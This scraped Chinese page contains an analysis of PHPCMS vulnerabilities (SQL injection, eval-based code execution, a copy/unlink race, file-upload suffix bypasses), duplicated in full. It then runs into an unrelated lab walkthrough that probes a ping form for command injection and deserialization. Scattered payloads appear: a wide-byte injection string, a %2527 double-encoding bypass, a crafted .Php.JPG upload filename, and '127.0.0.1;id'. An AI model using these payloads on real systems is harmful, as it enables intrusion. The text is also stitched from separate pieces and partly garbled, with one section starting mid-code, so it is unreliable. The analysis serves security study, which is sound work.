说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-20 19:09
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
